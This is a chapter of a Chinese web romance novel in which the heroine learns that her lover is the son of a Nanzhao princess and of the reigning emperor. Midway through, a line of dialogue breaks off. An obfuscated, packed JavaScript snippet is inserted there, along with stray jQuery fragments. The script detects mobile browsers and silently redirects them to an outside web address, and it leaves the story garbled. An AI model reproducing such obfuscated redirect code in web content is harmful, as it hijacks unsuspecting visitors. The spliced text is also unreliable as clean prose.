第372章 身世

作品:《嫡姐人淡如菊?我改嫁她相公!

    沈枝意转过头。


    那阵久违的清冽的松木气息悄然钻入她的鼻息。


    她没有抬头,只是下意识地将脸更深地埋向他胸口,轻轻蹭了蹭。


    “楚慕聿。”她的声音闷闷的,带着一丝罕见的迷茫,“我在想你的爹娘。”


    楚慕聿一手轻抚着她的脸颊,另一只手利落地扯过近旁的一张圈椅,稳稳坐下。


    随后,他手臂微一用力,便将怀中的她整个捞起,安置在自己腿上。


    他的眼眸低垂,凝视着她。


    那瞳仁幽深如古井,此刻却映着烛火,仿佛盛下了窗外静谧的星河。


    “枝枝。”他薄唇微启,嗓音低沉,凑近些,用唇瓣极轻地蹭了蹭她柔软的唇角,“是担心他们不喜欢你?”


    不等她回答,他便径直给出答案:


    “不必忧心,他们都是再寻常不过的老人,这辈子怕是都没见过像你这般灵秀好看的姑娘,不会不喜欢的。”


    他说得斩钉截铁,仿佛这是天地间最不容置疑的真理。


    沈枝意听了,却伸出两根纤白的手指,轻轻捏住了他两边的脸颊。


    许久没有这样“肆意妄为”地揉捏他了。


    她几乎快要忘记,眼前这个权倾朝野令人生畏的男人,在她面前有时温顺得像一条只对她袒露柔软腹地的忠犬。


    “你这话说的。”她微微用力,将他俊朗的脸颊挤出一点可爱的弧度,语气却认真起来,“婚姻大事,岂是只看相貌的?你是内阁长老,权倾朝野。”


    “我呢?不过一介抛头露面、经营算计的皇商,论身份门第,我们相差何止云泥?”


    她顿了顿,眼神有些飘远。


    “若换作是我有个儿子,要娶一个在外行商的女子,我恐怕也得反复掂量,犹豫再三。”


    楚慕聿一动不动,任由她的指尖在自己脸上作乱。


    他知道她心底那丝不安正在蔓延,所以他收起所有锋芒,连一丝反抗或玩笑的意图都没有,全然接纳。


    这些日子实在太忙,兵事、朝务、研制火器……


    他们见面说话的时间少得可怜。


    此刻,哪怕她只是这样孩子气地“折腾”他,他心底也泛起融融暖意。


    他认识的沈枝意,聪慧果决,几时曾因为旁人的目光、长辈的喜好而如此忧心忡忡?


    这说明,她是真的将他们的未来放在了心上。


    她是认真的。


    这个认知像一汪温热的泉,缓缓淌过他心间,冲散了连日来的疲惫与紧绷。


    他终于能清晰地感受到,她是在意他的,在意到开始患得患失。


    楚慕聿心情蓦地大好,连带着对接下来要坦白的往事,也生出了几分勇气与信心。


    “枝枝。”他揽在她腰间的手臂收紧了些,将她更稳固地圈在怀中,下巴轻抵着她的发顶,声音放得又低又缓,“关于我的爹娘……我其实,一直有事想告诉你。”


    来了。


    沈枝意捏着他脸颊的指尖,微微一顿,然后缓缓松开了力道。


    她还在思忖该用什么方式,才能让他主动开口。


    没想到他竟然自己说了出来。


    这份突如其来的坦诚,反而让她心头一紧,生出一丝莫名的惶然。


    楚慕聿如此郑重其事,他的身世,恐怕远非“复杂”二字可以形容。


    或许,会是石破天惊。


    自己究竟能不能坦然接受,还是个未知之数。


    他越是这般认真,她心底那点畏惧便越是清晰。


    几乎想立刻抬手捂住他的嘴,让他想好了再说,或者……


    干脆不要说。


    “嗯。”


    沈枝意听到自己轻轻应了一声,声音有些干涩。


    她暗自深吸一口气,强迫自己镇定下来,“你说。我听着。”


    “我娘……”楚慕聿开口,第一个词便让周遭空气沉了沉,“在我六岁那年,便去世了。”


    沈枝意猛地抬眼,嘴唇微微张开,有些懵然。


    他娘亲在他那么小的时候就不在了?


    那他现在口中的“双亲”……


    “现在的双亲是我的养父母。”楚慕聿的声音平稳,却像在陈述一个与自己无关的故事,透着一丝疏离的凉意,“我的养母,是我娘亲从前的大丫鬟,而我娘亲……”


    他略微停顿,那双总是深不见底的眼眸里,掠过一丝极其复杂的幽光。


    “她是南诏国的……最后一位公主。”


    “轰——!”


    沈枝意只觉得脑海中仿佛有一道无声的惊雷骤然劈下,炸得她耳中嗡嗡作响,思绪瞬间空白一片。


    南诏……**公主?


    她下意识地攥紧了他胸前的衣料,指尖冰凉。


    “南诏……是容世子和二表姐去的那个南诏吗


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199516|181962||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ?”


    她的声音有些发紧,几乎带着点结巴。


    “是,同一个南诏。”楚慕聿点头,握着她的手,掌心有些凉,“我不能去。我若踏上那片土地,那些知晓我身世旧事的人,必会将我视为南诏王室遗孤,是回归,是复国的象征。”


    沈枝意还未来得及消化这第一个惊人身份,嘴角便不受控制地抽动了一下,脱口问道:


    “那……你会想复国吗?”


    话一出口,她立刻想起之前的传闻。


    明帝为何要将手握重兵的楚慕聿从辽东调回京师?


    不正是忌惮他那十万铁骑吗?


    若他未曾回京,辽东兵权仍在手中,以其能耐,复辟旧国,或许并非痴人说梦。


    他会吗?


    楚慕聿摇头。


    “不会。”他的声音平静,“南诏是我母族血脉所系,是我的来处,可大齐却是我生长之地,是我的父国。”


    他抬眼,直视着沈枝意震惊的眸子,一字一顿道:“我姓殷。”


    沈枝意艰难地吞咽了一下,觉得喉咙发干。


    杏眸圆睁,一瞬不瞬地瞪着他。


    “姓……殷?”


    这可是大齐国姓!


    一个荒谬绝伦、却又隐隐契合了许多蛛丝马迹的猜想,疯狂地在她脑中成形。


    “你……你和圣上,你是……”她的声音轻得几乎听不见,带着难以置信的颤音。


    “他是我的生父。”楚慕聿替她说出了答案,语气平淡得像在谈论天气,可那平淡之下,却似有冰封的暗流涌动,“若按皇家齿序排辈,我才是真正的皇二子,殷宴州他排第三。”


    沈枝意彻底僵住,一时失去了所有反应。


    脑海中无数碎片骤然拼接。


    他异于常人的崛起速度。


    皇帝对他似忌惮又似纵容的复杂态度。


    他从未提及的家族,他与殷宴州之间那种超越寻常君臣的默契与信任……


    原来如此。


    她原以为,他只是寒门士子凭借绝世才华与铁血手腕,一步步登上权力巅峰。


    却没想到,他母族曾是西南边陲的一国王室,显赫而悲怆。


    更没想到,他的生父,竟是这大齐江山的主宰,是那位心思难测的帝王!


    他竟是货真价实的天潢贵胄,身上流淌着两国最尊贵的血液,却也背负着两国交织的恩仇与宿命!